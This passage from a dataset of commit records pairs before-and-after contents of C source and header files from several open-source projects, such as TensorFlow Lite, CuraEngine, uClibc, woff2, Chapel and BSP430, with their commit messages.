mpora\/micropython,dinau\/micropython,matthewelse\/micropython,jimkmc\/micropython,SHA2017-badge\/micropython-esp32,misterdanb\/micropython,hiway\/micropython,dmazzella\/micropython,bvernoux\/micropython,Peetz0r\/micropython-esp32,henriknelson\/micropython,vitiral\/micropython,pozetroninc\/micropython,MrSurly\/micropython-esp32,Peetz0r\/micropython-esp32,torwag\/micropython,MrSurly\/micropython-esp32,ceramos\/micropython,redbear\/micropython,blazewicz\/micropython,ahotam\/micropython,infinnovation\/micropython,utopiaprince\/micropython,puuu\/micropython,rubencabrera\/micropython,adamkh\/micropython,mhoffma\/micropython,toolmacher\/micropython,redbear\/micropython,dinau\/micropython,pramasoul\/micropython,chrisdearman\/micropython,mhoffma\/micropython,alex-march\/micropython,matthewelse\/micropython,deshipu\/micropython,utopiaprince\/micropython,oopy\/micropython,hiway\/micropython,redbear\/micropython,hiway\/micropython,lowRISC\/micropython,kerneltask\/micropython,deshipu\/micropython,rubencabrera\/micropython,dhylands\/micropython,ruffy91\/micropython,henriknelson\/micropython,ceramos\/micropython,ernesto-g\/micropython,blmorris\/micropython,tobbad\/micropython,SHA2017-badge\/micropython-esp32,neilh10\/micropython,noahwilliamsson\/micropython,utopiaprince\/micropython,infinnovation\/micropython,jlillest\/micropython,cloudformdesign\/micropython,jlillest\/micropython,dxxb\/micropython,dhylands\/micropython,slzatz\/micropython,mianos\/micropython,drrk\/micropython,suda\/micropython,blmorris\/micropython,mpalomer\/micropython,martinribelotta\/micropython,hosaka\/micropython,neilh10\/micropython,adafruit\/micropython,HenrikSolver\/micropython,galenhz\/micropython,lbattraw\/micropython,pfalcon\/micropython,Peetz0r\/micropython-esp32,jmarcelino\/pycom-micropython,misterdanb\/micropython,trezor\/micropython,ahotam\/micropython,vitiral\/micropython,slzatz\/micropython,tobbad\/micropython,SHA2017-badge\/micropython-esp32,ericsnowcurrently\/micropython,orionrobots\/micropython,galenhz\/micropython,selste\/micropython,kerneltask\/micropython,adafruit\/micropython,pozetroninc\/micropython,hosaka\/micropython,turbinenreiter\/micropython,alex-robbins\/micropython,PappaPeppar\/micropython,Timmenem\/micropython,jmarcelino\/pycom-micropython,swegener\/micropython,firstval\/micropython,supergis\/micropython,omtinez\/micropython,danicampora\/micropython,skybird6672\/micropython,EcmaXp\/micropython,mianos\/micropython,ceramos\/micropython,alex-robbins\/micropython,supergis\/micropython,feilongfl\/micropython,adafruit\/circuitpython,tralamazza\/micropython,ericsnowcurrently\/micropython,cnoviello\/micropython,cnoviello\/micropython,matthewelse\/micropython,vriera\/micropython,cloudformdesign\/micropython,MrSurly\/micropython,AriZuu\/micropython,Peetz0r\/micropython-esp32,torwag\/micropython,skybird6672\/micropython,vriera\/micropython,orionrobots\/micropython,tobbad\/micropython,chrisdearman\/micropython,praemdonck\/micropython,MrSurly\/micropython-esp32,lbattraw\/micropython,bvernoux\/micropython,pfalcon\/micropython,mianos\/micropython,drrk\/micropython,chrisdearman\/micropython,ericsnowcurrently\/micropython,noahwilliamsson\/micropython,alex-march\/micropython,tuc-osg\/micropython,infinnovation\/micropython,feilongfl\/micropython,heisewangluo\/micropython,HenrikSolver\/micropython,mgyenik\/micropython,jmarcelino\/pycom-micropython,tdautc19841202\/micropython,mhoffma\/micropython,stonegithubs\/micropython,suda\/micropython,ruffy91\/micropython,PappaPeppar\/micropython,tuc-osg\/micropython,xhat\/micropython,mgyenik\/micropython,trezor\/micropython,feilongfl\/micropython,xyb\/micropython,ryannathans\/micropython,xuxiaoxin\/micropython,heisewangluo\/micropython,kerneltask\/micropython,xuxiaoxin\/micropython,mgyenik\/micropython,noahchense\/micropython,jimkmc\/micropython,adafruit\/micropython,hosaka\/micropython,xyb\/micropython,emfcamp\/micropython,ChuckM\/micropython,Peetz0r\/micropython-esp32,skybird6672\/micropython,mpalomer\/micropython,matthewelse\/micropython,oopy\/micropython,alex-robbins\/micropython,kerneltask\/micropython,ruffy91\/micropython,HenrikSolver\/micropython,blmorris\/micropython,supergis\/micropython,toolmacher\/micropython,matthewelse\/micropython,adamkh\/micropython,vitiral\/micropython,adafruit\/circuitpython,emfcamp\/micropython,micropython\/micropython-esp32,galenhz\/micropython,infinnovation\/micropython,stonegithubs\/micropython,dxxb\/micropython,vriera\/micropython,drrk\/micropython,dxxb\/micropython,adafruit\/circuitpython,tralamazza\/micropython,ernesto-g\/micropython,hosaka\/micropython,dhylands\/micropython,ryannathans\/micropython,henriknelson\/micropython,danicampora\/micropython,henriknelson\/micropython,deshipu\/micropython,martinribelotta\/micropython,vriera\/micropython,ryannathans\/micropython,cwyark\/micropython,supergis\/micropython,stonegithubs\/micropython,tuc-osg\/micropython,kerneltask\/micropython,suda\/micropython,heisewangluo\/micropython,utopiaprince\/micropython,rubencabrera\/micropython,Timmenem\/micropython"}
{"commit":"e647bbbc7692766c7c0226335f46a3f1ecd25ea4","old_file":"tensorflow\/lite\/ios\/TensorFlowLiteC.h","new_file":"tensorflow\/lite\/ios\/TensorFlowLiteC.h","old_contents":"\/* Copyright 2022 The TensorFlow Authors. All Rights Reserved.\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n==============================================================================*\/\n\n#ifndef TENSORFLOW_LITE_IOS_TENSORFLOWLITEC_H_\n#define TENSORFLOW_LITE_IOS_TENSORFLOWLITEC_H_\n\n#include \"tensorflow\/lite\/builtin_ops.h\"\n#include \"tensorflow\/lite\/c\/c_api.h\"\n#include \"tensorflow\/lite\/c\/c_api_experimental.h\"\n#include \"tensorflow\/lite\/c\/c_api_types.h\"\n#include \"tensorflow\/lite\/c\/common.h\"\n#include \"tensorflow\/lite\/delegates\/xnnpack\/xnnpack_delegate.h\"\n\n#endif  \/\/ TENSORFLOW_LITE_IOS_TENSORFLOWLITEC_H_\n","new_contents":"\/* Copyright 2022 The TensorFlow Authors. All Rights Reserved.\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n==============================================================================*\/\n\n#ifndef TENSORFLOW_LITE_IOS_TENSORFLOWLITEC_H_\n#define TENSORFLOW_LITE_IOS_TENSORFLOWLITEC_H_\n\n#include \"tensorflow\/lite\/builtin_ops.h\"\n#include \"tensorflow\/lite\/c\/c_api.h\"\n#include \"tensorflow\/lite\/c\/c_api_experimental.h\"\n#include \"tensorflow\/lite\/c\/c_api_types.h\"\n#include \"tensorflow\/lite\/c\/common.h\"\n#include \"tensorflow\/lite\/core\/c\/c_api.h\"\n#include \"tensorflow\/lite\/delegates\/xnnpack\/xnnpack_delegate.h\"\n\n#endif  \/\/ TENSORFLOW_LITE_IOS_TENSORFLOWLITEC_H_\n","subject":"Fix iOS nightly release breakage.","message":"Fix iOS nightly release breakage.\n\nError: c_api_experimental.h: unknown type name 'TfLiteInterpreter', 'TfLiteModel', 'TfLiteInterpreterOptions' ...\nPiperOrigin-RevId: 477562262\n","lang":"C","license":"apache-2.0","repos":"paolodedios\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,Intel-tensorflow\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,tensorflow\/tensorflow-experimental_link_static_libraries_once,karllessard\/tensorflow,yongtang\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,tensorflow\/tensorflow,paolodedios\/tensorflow,yongtang\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,tensorflow\/tensorflow-pywrap_tf_optimizer,yongtang\/tensorflow,paolodedios\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,tensorflow\/tensorflow-pywrap_saved_model,tensorflow\/tensorflow-experimental_link_static_libraries_once,tensorflow\/tensorflow-pywrap_saved_model,tensorflow\/tensorflow-pywrap_saved_model,paolodedios\/tensorflow,karllessard\/tensorflow,yongtang\/tensorflow,Intel-tensorflow\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,tensorflow\/tensorflow-experimental_link_static_libraries_once,tensorflow\/tensorflow-pywrap_saved_model,yongtang\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,yongtang\/tensorflow,tensorflow\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,yongtang\/tensorflow,paolodedios\/tensorflow,paolodedios\/tensorflow,paolodedios\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,tensorflow\/tensorflow-pywrap_saved_model,Intel-tensorflow\/tensorflow,tensorflow\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,karllessard\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,Intel-tensorflow\/tensorflow,paolodedios\/tensorflow,Intel-tensorflow\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,karllessard\/tensorflow,tensorflow\/tensorflow,karllessard\/tensorflow,Intel-tensorflow\/tensorflow,karllessard\/tensorflow,yongtang\/tensorflow,tensorflow\/tensorflow,Intel-tensorflow\/tensorflow,tensorflow\/tensorflow,karllessard\/tensorflow,tensorflow\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,yongtang\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,tensorflow\/tensorflow-pywrap_saved_model,paolodedios\/tensorflow,Intel-tensorflow\/tensorflow,tensorflow\/tensorflow,karllessard\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,tensorflow\/tensorflow-pywrap_saved_model,tensorflow\/tensorflow-pywrap_tf_optimizer,paolodedios\/tensorflow,karllessard\/tensorflow,yongtang\/tensorflow,tensorflow\/tensorflow,karllessard\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,Intel-tensorflow\/tensorflow,tensorflow\/tensorflow,Intel-tensorflow\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,tensorflow\/tensorflow-experimental_link_static_libraries_once,tensorflow\/tensorflow-pywrap_tf_optimizer,tensorflow\/tensorflow-pywrap_saved_model,tensorflow\/tensorflow-pywrap_tf_optimizer,karllessard\/tensorflow,paolodedios\/tensorflow,yongtang\/tensorflow,tensorflow\/tensorflow,Intel-tensorflow\/tensorflow"}
{"commit":"e2496a13ddc1c1c422098fbe0ef0f636767da6e2","old_file":"polygonOptimizer.h","new_file":"polygonOptimizer.h","old_contents":"#ifndef POLYGON_OPTIMIZER_H\r\n#define POLYGON_OPTIMIZER_H\r\n\r\nvoid optimizePolygon(ClipperLib::Polygon& poly)\r\n{\r\n    Point p0 = poly[poly.size()-1];\r\n    for(unsigned int i=0;i<poly.size();i++)\r\n    {\r\n        Point p1 = poly[i];\r\n        if (shorterThen(p0 - p1, 10))\r\n        {\r\n            poly.erase(poly.begin() + i);\r\n            i --;\r\n        }else{\r\n            p0 = p1;\r\n        }\r\n    }\r\n}\r\n\r\nvoid optimizePolygons(Polygons& polys)\r\n{\r\n    for(unsigned int n=0;n<polys.size();n++)\r\n    {\r\n        optimizePolygon(polys[n]);\r\n    }\r\n}\r\n\r\n#endif\/\/POLYGON_OPTIMIZER_H\r\n","new_contents":"#ifndef POLYGON_OPTIMIZER_H\r\n#define POLYGON_OPTIMIZER_H\r\n\r\nvoid optimizePolygon(ClipperLib::Polygon& poly)\r\n{\r\n    Point p0 = poly[poly.size()-1];\r\n    for(unsigned int i=0;i<poly.size();i++)\r\n    {\r\n        Point p1 = poly[i];\r\n        if (shorterThen(p0 - p1, 10))\r\n        {\r\n            poly.erase(poly.begin() + i);\r\n            i --;\r\n        }else{\r\n            p0 = p1;\r\n        }\r\n    }\r\n}\r\n\r\nvoid optimizePolygons(Polygons& polys)\r\n{\r\n    for(unsigned int n=0;n<polys.size();n++)\r\n    {\r\n        optimizePolygon(polys[n]);\r\n        if (polys[n].size() < 3)\r\n        {\r\n            polys.erase(polys.begin() + n);\r\n            n--;\r\n        }\r\n    }\r\n}\r\n\r\n#endif\/\/POLYGON_OPTIMIZER_H\r\n","subject":"Remove empty polygons after optimizing.","message":"Remove empty polygons after optimizing.\n","lang":"C","license":"agpl-3.0","repos":"patrick3coffee\/CuraTinyG,pratikshashroff\/pcura,mspark93\/CuraEngine,jacobdai\/CuraEngine-1,ROBO3D\/CuraEngine,foosel\/CuraEngine,totalretribution\/CuraEngine,electrocbd\/CuraEngine,totalretribution\/CuraEngine,uus169\/CuraEngine,Jwis921\/PersonalCuraEngine,uus169\/CuraEngine,robotustra\/curax,foosel\/CuraEngine,markwal\/CuraEngine,fxtentacle\/CuraEngine,fxtentacle\/CuraEngine,alex1818\/CuraEngine,derekhe\/CuraEngine,phonyphonecall\/CuraEngine,electrocbd\/CuraEngine,alephobjects\/CuraEngine,daid\/CuraCutEngine,derekhe\/CuraEngine,totalretribution\/CuraEngine,be3d\/CuraEngine,alephobjects\/CuraEngine,Ultimaker\/CuraEngine,electrocbd\/CuraEngine,ROBO3D\/CuraEngine,pratikshashroff\/pcura,jacobdai\/CuraEngine-1,Intrinsically-Sublime\/CuraEngine,robotustra\/curax,jacobdai\/CuraEngine-1,be3d\/CuraEngine,patrick3coffee\/CuraTinyG,phonyphonecall\/CuraEngine,markwal\/CuraEngine,robotustra\/curax,Skeen\/CuraJS-Engine,uus169\/CuraEngine,ROBO3D\/CuraEngine,Intrinsically-Sublime\/CuraEngine,markwal\/CuraEngine,alex1818\/CuraEngine,phonyphonecall\/CuraEngine,mspark93\/CuraEngine,patrick3coffee\/CuraTinyG,Skeen\/CuraJS-Engine,alex1818\/CuraEngine,Ultimaker\/CuraEngine,fxtentacle\/CuraEngine,derekhe\/CuraEngine,Intrinsically-Sublime\/CuraEngine,daid\/CuraCutEngine,Jwis921\/PersonalCuraEngine,foosel\/CuraEngine,Skeen\/CuraJS-Engine,pratikshashroff\/pcura,mspark93\/CuraEngine,Jwis921\/PersonalCuraEngine,be3d\/CuraEngine,alephobjects\/CuraEngine"}
{"commit":"3cf557a7440a77e72b4b43689a9a5071c2080aa1","old_file":"atomic.h","new_file":"atomic.h","old_contents":"#ifndef ATOMIC_H\n#define ATOMIC_H\n\n#include \"fibrili.h\"\n\n#define atomic_fence() fibrili_fence()\n#define atomic_lock(lock) fibrili_lock(lock)\n#define atomic_unlock(lock) fibrili_unlock(lock)\n\n#endif \/* end of include guard: ATOMIC_H *\/\n","new_contents":"#ifndef ATOMIC_H\n#define ATOMIC_H\n\n#include \"fibrili.h\"\n\n#define atomic_fence() fibrili_fence()\n#define atomic_lock(lock) fibrili_lock(lock)\n#define atomic_unlock(lock) fibrili_unlock(lock)\n#define atomic_load(val) __atomic_load_n(&(val), __ATOMIC_ACQUIRE)\n#define atomic_fadd(val, n) __atomic_fetch_add(&(val), n, __ATOMIC_ACQ_REL)\n\nstatic inline void atomic_barrier(int nprocs)\n{\n  static volatile int _count;\n  static volatile int _sense;\n  static volatile __thread int _local_sense;\n\n  int sense = !_local_sense;\n\n  if (atomic_fadd(_count, 1) == nprocs - 1) {\n    _count = 0;\n    _sense = sense;\n  }\n\n  while (_sense != sense);\n  _local_sense = sense;\n  atomic_fence();\n}\n\n#endif \/* end of include guard: ATOMIC_H *\/\n","subject":"Add barrier, fadd, and load.","message":"Add barrier, fadd, and load.\n","lang":"C","license":"mit","repos":"chaoran\/fibril,chaoran\/fibril,chaoran\/fibril"}
{"commit":"a7aae9bd5cbe82218bc61cdd00860272732e3dec","old_file":"Classes\/CoreFactoryGentleman\/CoreFactoryGentleman.h","new_file":"Classes\/CoreFactoryGentleman\/CoreFactoryGentleman.h","old_contents":"#import <CoreData\/CoreData.h>\n#import <FactoryGentleman\/FactoryGentleman.h>\n\n#import \"CFGFactoryDefiner.h\"\n#import \"CFGObjectBuilder.h\"\n","new_contents":"#import <CoreData\/CoreData.h>\n#import <FactoryGentleman\/FactoryGentleman.h>\n\n#import \"CFGCoreFactoryGentleman.h\"\n#import \"CFGFactoryDefiner.h\"\n#import \"CFGObjectBuilder.h\"\n","subject":"Add functionality to bootstrap header","message":"Add functionality to bootstrap header","lang":"C","license":"mit","repos":"FactoryGentleman\/CoreFactoryGentleman,soundcloud\/CoreFactoryGentleman"}
{"commit":"b6155d3162f6da3dc8f0f1a5daa8decc73904763","old_file":"libc\/sysdeps\/linux\/or32\/bits\/kernel_types.h","new_file":"libc\/sysdeps\/linux\/or32\/bits\/kernel_types.h","old_contents":"\/* taken from linux\/include\/asm-or32\/posix_types.h *\/\n\n\n\/*\n * Using the same guard as posix_types.h from linux headers\n * enssures the uclibc (this) version is beeing used.\n *\/\n#if ! defined _OR32_POSIX_TYPES_H\n#define _OR32_POSIX_TYPES_H\n\n\/*\n * This file is generally used by user-level software, so you need to\n * be a little careful about namespace pollution etc.  Also, we cannot\n * assume GCC is being used.\n *\/\n\ntypedef unsigned int\t__kernel_ino_t;\ntypedef unsigned int\t__kernel_mode_t;\ntypedef unsigned short\t__kernel_nlink_t;\ntypedef long\t\t__kernel_off_t;\ntypedef int\t\t__kernel_pid_t;\ntypedef unsigned int\t__kernel_uid_t;\ntypedef unsigned int\t__kernel_gid_t;\ntypedef unsigned int\t__kernel_size_t;\ntypedef int\t\t__kernel_ssize_t;\ntypedef long\t\t__kernel_ptrdiff_t;\ntypedef long\t\t__kernel_time_t;\ntypedef long\t\t__kernel_suseconds_t;\ntypedef long\t\t__kernel_clock_t;\ntypedef int\t\t__kernel_daddr_t;\ntypedef char *\t\t__kernel_caddr_t;\ntypedef short           __kernel_ipc_pid_t;\ntypedef unsigned short\t__kernel_uid16_t;\ntypedef unsigned short\t__kernel_gid16_t;\ntypedef unsigned int\t__kernel_uid32_t;\ntypedef unsigned int\t__kernel_gid32_t;\n\ntypedef unsigned int\t__kernel_old_uid_t;\ntypedef unsigned int\t__kernel_old_gid_t;\ntypedef unsigned int\t__kernel_old_dev_t;\n\n\/* this is workaround for uclibc *\/\ntypedef unsigned int\t__kernel_dev_t;\n\n#ifdef __GNUC__\n\ntypedef long long\t__kernel_loff_t;\n\n#endif\n\ntypedef struct {\n\tint\tval[2];\n} __kernel_fsid_t;\n\n#endif \/* _OR32_POSIX_TYPES_H *\/\n","new_contents":"#include <asm\/posix_types.h>\n","subject":"Use generic posix_types from Linux kernel","message":"Use generic posix_types from Linux kernel\n\nThe kernel headers asm\/posix_types.h and asm-generic\/posix_types.h are\nmade to be included directly into libc, and doing so saves us the effort\nof having to keep these files in sync.\n","lang":"C","license":"lgpl-2.1","repos":"skristiansson\/uClibc-or1k,skristiansson\/uClibc-or1k,skristiansson\/uClibc-or1k,skristiansson\/uClibc-or1k"}
{"commit":"42afa0c5d2e3cfac5535d218027c05eb742b1383","old_file":"csrc\/woff2\/port.h","new_file":"csrc\/woff2\/port.h","old_contents":"\/\/ Copyright 2013 Google Inc. All Rights Reserved.\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/ http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\/\/\n\/\/ Helper function for bit twiddling\n\n#ifndef WOFF2_PORT_H_\n#define WOFF2_PORT_H_\n\nnamespace woff2 {\n\ntypedef unsigned int       uint32;\n\ninline int Log2Floor(uint32 n) {\n#if defined(__GNUC__)\n  return n == 0 ? -1 : 31 ^ __builtin_clz(n);\n#else\n  if (n == 0)\n    return -1;\n  int log = 0;\n  uint32 value = n;\n  for (int i = 4; i >= 0; --i) {\n    int shift = (1 << i);\n    uint32 x = value >> shift;\n    if (x != 0) {\n      value = x;\n      log += shift;\n    }\n  }\n  assert(value == 1);\n  return log;\n#endif\n}\n\n} \/\/ namespace woff2\n#endif  \/\/ WOFF2_PORT_H_\n","new_contents":"\/\/ Copyright 2013 Google Inc. All Rights Reserved.\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/ http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\/\/\n\/\/ Helper function for bit twiddling\n\n#ifndef WOFF2_PORT_H_\n#define WOFF2_PORT_H_\n\n#include <assert.h>\n\nnamespace woff2 {\n\ntypedef unsigned int       uint32;\n\ninline int Log2Floor(uint32 n) {\n#if defined(__GNUC__)\n  return n == 0 ? -1 : 31 ^ __builtin_clz(n);\n#else\n  if (n == 0)\n    return -1;\n  int log = 0;\n  uint32 value = n;\n  for (int i = 4; i >= 0; --i) {\n    int shift = (1 << i);\n    uint32 x = value >> shift;\n    if (x != 0) {\n      value = x;\n      log += shift;\n    }\n  }\n  assert(value == 1);\n  return log;\n#endif\n}\n\n} \/\/ namespace woff2\n#endif  \/\/ WOFF2_PORT_H_\n","subject":"Include assert.h explicitly to fix windows build","message":"Include assert.h explicitly to fix windows build\n\nFixes the error: C3861: 'assert': identifier not found\n","lang":"C","license":"mit","repos":"nfroidure\/ttf2woff2,nfroidure\/ttf2woff2,nfroidure\/ttf2woff2,nfroidure\/ttf2woff2"}
{"commit":"32dc512baba57ac6c23de8f6bac7112e34ef0590","old_file":"runtime\/include\/comm\/chpl-comm-task-decls.h","new_file":"runtime\/include\/comm\/chpl-comm-task-decls.h","old_contents":"\/\/ This is the last-resort version of this file.  It will be used only\n\/\/ if the comm layer implementation does not supply one.\n\n#ifndef _chpl_comm_task_decls_h\n#define _chpl_comm_task_decls_h\n\n\/\/ Define the type of a n.b. communications handle.\ntypedef void* chpl_comm_nb_handle_t;\n\ntypedef struct {\n} chpl_comm_taskPrvData_t;\n\n#undef HAS_CHPL_CACHE_FNS\n\n#endif\n","new_contents":"\/\/ This is the last-resort version of this file.  It will be used only\n\/\/ if the comm layer implementation does not supply one.\n\n#ifndef _chpl_comm_task_decls_h\n#define _chpl_comm_task_decls_h\n\n\/\/ Define the type of a n.b. communications handle.\ntypedef void* chpl_comm_nb_handle_t;\n\ntypedef struct {\n  int dummy;    \/\/ structs must be nonempty\n} chpl_comm_taskPrvData_t;\n\n#undef HAS_CHPL_CACHE_FNS\n\n#endif\n","subject":"Make an empty struct nonempty.","message":"Make an empty struct nonempty.\n\nIn r23405 we added a component of the task private data to hold comm\nlayer information.  This is chpl_comm_taskPrvData_t, a struct typt.  For\ncomm=none we don't need any comm layer info, so we made the struct type\nempty.  Unfortunately empty struct types aren't legal C (c99 standard,\n6.2.5 (20)).  The gcc compiler lets this pass, but the PGI and Cray\ncompilers bark at it.  To fix this, add a dummy element to the struct\nfor the comm=none case.  (I tried making it a 0-length array, but the\nPGI compiler barked at that, too.)\n\n\ngit-svn-id: 88467cb1fb04b8a755be7e1ee1026be4190196ef@23411 3a8e244f-b0f2-452b-bcba-4c88e055c3ca\n","lang":"C","license":"apache-2.0","repos":"sungeunchoi\/chapel,CoryMcCartan\/chapel,hildeth\/chapel,hildeth\/chapel,CoryMcCartan\/chapel,CoryMcCartan\/chapel,sungeunchoi\/chapel,hildeth\/chapel,hildeth\/chapel,chizarlicious\/chapel,sungeunchoi\/chapel,hildeth\/chapel,chizarlicious\/chapel,hildeth\/chapel,chizarlicious\/chapel,CoryMcCartan\/chapel,chizarlicious\/chapel,CoryMcCartan\/chapel,sungeunchoi\/chapel,sungeunchoi\/chapel,CoryMcCartan\/chapel,sungeunchoi\/chapel,chizarlicious\/chapel,chizarlicious\/chapel,chizarlicious\/chapel,sungeunchoi\/chapel,hildeth\/chapel,CoryMcCartan\/chapel,sungeunchoi\/chapel"}
{"commit":"88756c39fb6ffe464e05fbc1e0227fe8cf78b1a5","old_file":"lib\/smurff-cpp\/SmurffCpp\/StatusItem.h","new_file":"lib\/smurff-cpp\/SmurffCpp\/StatusItem.h","old_contents":"","new_contents":"#pragma once\n\n#include <string>\n\nnamespace smurff {\n\nstruct StatusItem\n{\n    std::string phase;\n    int iter;\n    int phase_iter;\n\n    std::vector<double> model_norms;\n\n    double rmse_avg;\n    double rmse_1sample;\n    double train_rmse;\n\n    double auc_1sample;\n    double auc_avg;\n\n    double elapsed_iter;\n    double nnz_per_sec;\n    double samples_per_sec;\n\n    \/\/ to csv \n    static std::string getCsvHeader();\n    std::string asCsvString() const;\n};\n}","subject":"Allow printing of status after step","message":"Allow printing of status after step\n","lang":"C","license":"mit","repos":"ExaScience\/smurff,ExaScience\/smurff,ExaScience\/smurff,ExaScience\/smurff,ExaScience\/smurff,ExaScience\/smurff"}
{"commit":"c804b5c55d42fcdc645dd81014d6bef253bd9f39","old_file":"iobuf\/iobuf_init.c","new_file":"iobuf\/iobuf_init.c","old_contents":"#include <stdlib.h>\n#include <string.h>\n#include <sys\/mman.h>\n#include \"iobuf.h\"\n\nunsigned iobuf_bufsize = 8192;\n\nint iobuf_init(iobuf* io, int fd, unsigned bufsize, char* buffer, unsigned flags)\n{\n  memset(io, 0, sizeof *io);\n  if (!bufsize) bufsize = iobuf_bufsize;\n  if (!buffer) {\n    if ((buffer = mmap(0, bufsize, PROT_READ|PROT_WRITE,\n\t\t       MAP_PRIVATE|MAP_ANONYMOUS, 0, 0)) != 0)\n      flags |= IOBUF_NEEDSMUNMAP;\n    else {\n      if ((buffer = malloc(bufsize)) == 0) return 0;\n      flags |= IOBUF_NEEDSFREE;\n    }\n  }\n  io->fd = fd;\n  io->buffer = buffer;\n  io->bufsize = bufsize;\n  io->flags = flags;\n  return 1;\n}\n","new_contents":"#include <sys\/types.h>\n#include <stdlib.h>\n#include <string.h>\n#include <sys\/mman.h>\n#include \"iobuf.h\"\n\nunsigned iobuf_bufsize = 8192;\n\n#ifndef MAP_ANONYMOUS\n#define MAP_ANONYMOUS MAP_ANON\n#endif\n\nint iobuf_init(iobuf* io, int fd, unsigned bufsize, char* buffer, unsigned flags)\n{\n  memset(io, 0, sizeof *io);\n  if (!bufsize) bufsize = iobuf_bufsize;\n  if (!buffer) {\n    if ((buffer = mmap(0, bufsize, PROT_READ|PROT_WRITE,\n\t\t       MAP_PRIVATE|MAP_ANONYMOUS, 0, 0)) != 0)\n      flags |= IOBUF_NEEDSMUNMAP;\n    else {\n      if ((buffer = malloc(bufsize)) == 0) return 0;\n      flags |= IOBUF_NEEDSFREE;\n    }\n  }\n  io->fd = fd;\n  io->buffer = buffer;\n  io->bufsize = bufsize;\n  io->flags = flags;\n  return 1;\n}\n","subject":"Use MAP_ANON if MAP_ANONYMOUS is not defined.","message":"Use MAP_ANON if MAP_ANONYMOUS is not defined.\n\n","lang":"C","license":"lgpl-2.1","repos":"bruceg\/bglibs,bruceg\/bglibs,bruceg\/bglibs,bruceg\/bglibs,bruceg\/bglibs,bruceg\/bglibs"}
{"commit":"f4189d1b617bffab365be9fa433a67852382d5e5","old_file":"examples\/sensors\/ds18b20\/bsp430_config.h","new_file":"examples\/sensors\/ds18b20\/bsp430_config.h","old_contents":"\/* Use a crystal if one is installed.  Much more accurate timing\n * results. *\/\n#define BSP430_PLATFORM_BOOT_CONFIGURE_LFXT1 1\n\n\/* Application does output: support spin-for-jumper *\/\n#ifndef configBSP430_PLATFORM_SPIN_FOR_JUMPER\n#define configBSP430_PLATFORM_SPIN_FOR_JUMPER 1\n#endif \/* configBSP430_PLATFORM_SPIN_FOR_JUMPER *\/\n\n#define configBSP430_CONSOLE 1\n#define configBSP430_UPTIME 1\n\n\/* Specify placement on P1.7  *\/\n#define APP_DS18B20_PORT_HAL BSP430_HAL_PORT1\n#define APP_DS18B20_BIT BIT7\n\n\/* Request the corresponding HAL *\/\n#define configBSP430_HAL_PORT1 1\n\n\/* Get platform defaults *\/\n#include <bsp430\/platform\/bsp430_config.h>\n","new_contents":"\/* Use a crystal if one is installed.  Much more accurate timing\n * results. *\/\n#define BSP430_PLATFORM_BOOT_CONFIGURE_LFXT1 1\n\n\/* Application does output: support spin-for-jumper *\/\n#ifndef configBSP430_PLATFORM_SPIN_FOR_JUMPER\n#define configBSP430_PLATFORM_SPIN_FOR_JUMPER 1\n#endif \/* configBSP430_PLATFORM_SPIN_FOR_JUMPER *\/\n\n#define configBSP430_CONSOLE 1\n#define configBSP430_UPTIME 1\n\n#if BSP430_PLATFORM_SURF - 0\n\/* SuRF has a DS1825 on P3.7, but the software is the same *\/\n#define APP_DS18B20_PORT_HAL BSP430_HAL_PORT3\n#define APP_DS18B20_BIT BIT7\n#define configBSP430_HAL_PORT3 1\n#else \/* BSP430_PLATFORM_SURF *\/\n\/* External hookup DS18B20 to on P1.7  *\/\n#define APP_DS18B20_PORT_HAL BSP430_HAL_PORT1\n#define APP_DS18B20_BIT BIT7\n\n\/* Request the corresponding HAL *\/\n#define configBSP430_HAL_PORT1 1\n#endif \/* BSP430_PLATFORM_SURF *\/\n\n\/* Get platform defaults *\/\n#include <bsp430\/platform\/bsp430_config.h>\n","subject":"Support SuRF 